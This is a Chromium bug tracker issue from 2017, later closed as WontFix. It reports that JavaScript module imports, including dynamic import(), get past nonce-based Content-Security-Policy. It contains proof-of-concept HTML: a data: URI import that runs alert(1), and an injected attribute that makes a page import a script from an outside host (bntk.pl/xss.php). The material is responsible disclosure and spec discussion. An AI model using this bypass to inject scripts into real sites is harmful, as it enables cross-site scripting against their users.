New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 778392 link

Starred by 5 users

Issue metadata

Status: WontFix
Owner:
Last visit > 30 days ago
Closed: Oct 25
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Android , Windows , Chrome , Mac , Fuchsia
Pri: 2
Type: Bug-Security



Sign in to add a comment

Module script import bypasses Content-Security-Policy

Reported by mic...@bentkowski.info, Oct 25 2017

Issue description

UserAgent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36

Steps to reproduce the problem:
Chrome doesn't seem to check a script against the CSP policies when the script is loaded via JS import e.g.

<meta http-equiv=content-security-policy
      content="default-src 'nonce-abcd'">

<script type=module nonce=abcd>
  import 'data:application/javascript,alert(1)'; 

</script>

What is the expected behavior?
The alert(1) should not execute since "data:" URI is not whitelisted.

What went wrong?
The alert was shown. 

Did this work before? N/A 

Chrome version: 61.0.3163.100  Channel: stable
OS Version: OS X 10.12.6
Flash Version:
 
Components: Blink>SecurityFeature>ContentSecurityPolicy
Status: Untriaged (was: Unconfirmed)
Cool, thanks for the bug. It does appear that the nonce on the script type module ends up allowing the script imported. (This works even when the import is a HTTP/HTTPS URL with an Access-Control-Allow-Origin: * response header.)

Verified on 64.0.3249.2 
Cc: domenic@chromium.org
Summary: Module script import bypasses Content-Security-Policy (was: JS script import can bypass Content-Security-Policy policies)
-Microsoft Edge 16 blocks the script
-Safari Tech Preview R42 - 11.1 WebKit 12605.1.10) behaves like Chrome and allows execution of the imported script. 
-Firefox 58, if you enable |module| in about:config and change from default-src to script-src, behaves like Chrome and allows execution of the imported script.

I'm not an expert, but it seems like transitive trust should require 'strict-dynamic'. But this: https://github.com/w3c/webappsec-csp/issues/243#issuecomment-332895793 seems to suggest otherwise.
Cc: mkwst@chromium.org
+mkwst defined the policy that nonces flow through imports

Comment 4 by mkwst@chromium.org, Oct 26 2017

The idea I was running with at the outset was that modules were a single script split into multiple files, so noncing the module could reasonably mean "Load all the stuff in this module."

I admit that I didn't consider inlined module scripts when making that decision, but I don't think it substantially changes the calculus. That is, if you can inject an import into a script block, you could just as well inject the script you're importing.

If we wish to make this more restrictive, then we'll need to revisit the discussion around giving fetch options to `import` statements (which would also enable integrity checks that we can't do today).

Comment 5 by palmer@chromium.org, Oct 31 2017

Cc: andypaicu@chromium.org a...@google.com
Labels: Security_Impact-Stable OS-Android OS-Fuchsia OS-Linux OS-Windows
I'm not sure I understand correctly, but I think I share the view in #4 that this might be working as intended. +additional CSP experts for their thoughts. If you agree, feel free to WontFix this; otherwise it might be a longer term fix ("revisit the discussion")?

Comment 6 by palmer@chromium.org, Oct 31 2017

Cc: -andypaicu@chromium.org
Labels: OS-Chrome
Owner: andypaicu@chromium.org
Status: Assigned (was: Untriaged)
Assigning to andypaicu to keep an eye on it. :)
Labels: M-64 Security_Severity-Low
Given that this is fundamentally a spec issue and there doesn't seem to be a browser bug here, any objections to removing visibility restrictions?

Comment 8 by est...@chromium.org, Nov 10 2017

Labels: Hotlist-EnamelAndFriendsFixIt
I think that discussion about imports in nonced scripts needs to revised in terms of dynamic import. 

Consider the following code inspired by https://developers.google.com/web/updates/2017/11/dynamic-import :

<!DOCTYPE html>
<meta charset="utf-8">
<meta http-equiv=content-security-policy
      content="script-src 'nonce-abcd'">
<title>My library</title>
<nav>
  <a href="books.html" data-entry-module="books">Books</a>
  <a href="movies.html" data-entry-module="movies">Movies</a>
  <a href="video-games.html" data-entry-module="video-games">Video Games</a>

  <!-- XSS HERE -->
  <a href="x.html" data-entry-module='/bntk.pl/xss.php?'>XSS</a>

</nav>
<main>This is a placeholder for the content that will be loaded on-demand.</main>
<script>
  const main = document.querySelector('main');
  const links = document.querySelectorAll('nav > a');
  for (const link of links) {
    link.addEventListener('click', async (event) => {
      event.preventDefault();
      try {
        /* DYNAMIC IMPORT HERE */
        const module = await import(`/${link.dataset.entryModule}.mjs`);
        // The module exports a function named `loadPageInto`.
        module.loadPageInto(main);
      } catch (error) {
        main.textContent = error.message;
      }
    });
  }
</script>


I reckon it may become quite common with dynamic import that some part of the path of a script to be imported will be taken from the DOM. In the above case, the import of //bntk.pl/xss.php? will be allowed hence leading to XSS.

Perhaps it works as intended but intuitively I would expect that the above code should more or less work similar to:

<script nonce=abcd>
  const sc = document.createElement('script');
  sc.src = '//bntk.pl/xss.php';
  document.body.append(sc);
</script>


which would obviously be blocked.


Comment 10 by a...@google.com, Nov 23 2017

Thanks for pointing this out, Michal! I agree with your reasoning and updated  https://github.com/w3c/webappsec-csp/issues/243 with some thoughts; maybe we should continue the discussion there?
Labels: -Restrict-View-SecurityTeam allpublic
This doesn't need view-restrictions, as the POC is public in the webappsec-csp issues list.
Labels: -Hotlist-EnamelAndFriendsFixIt
Project Member

Comment 13 by sheriffbot@chromium.org, Mar 7 2018

Labels: -M-64 M-65
Project Member

Comment 14 by sheriffbot@chromium.org, Apr 19 2018

Labels: -M-65 M-66
Project Member

Comment 15 by sheriffbot@chromium.org, May 30 2018

Labels: -M-66 M-67
Project Member

Comment 16 by sheriffbot@chromium.org, Jul 25

Labels: -M-67 Target-68 M-68
Project Member

Comment 17 by sheriffbot@chromium.org, Sep 5

Labels: -M-68 M-69 Target-69
Project Member

Comment 18 by sheriffbot@chromium.org, Oct 17

Labels: -M-69 Target-70 M-70
Status: WontFix (was: Assigned)
Closing in favor of the spec issue discussion. Depending on the result this might or might not be a bug in Chrome.

Sign in to add a comment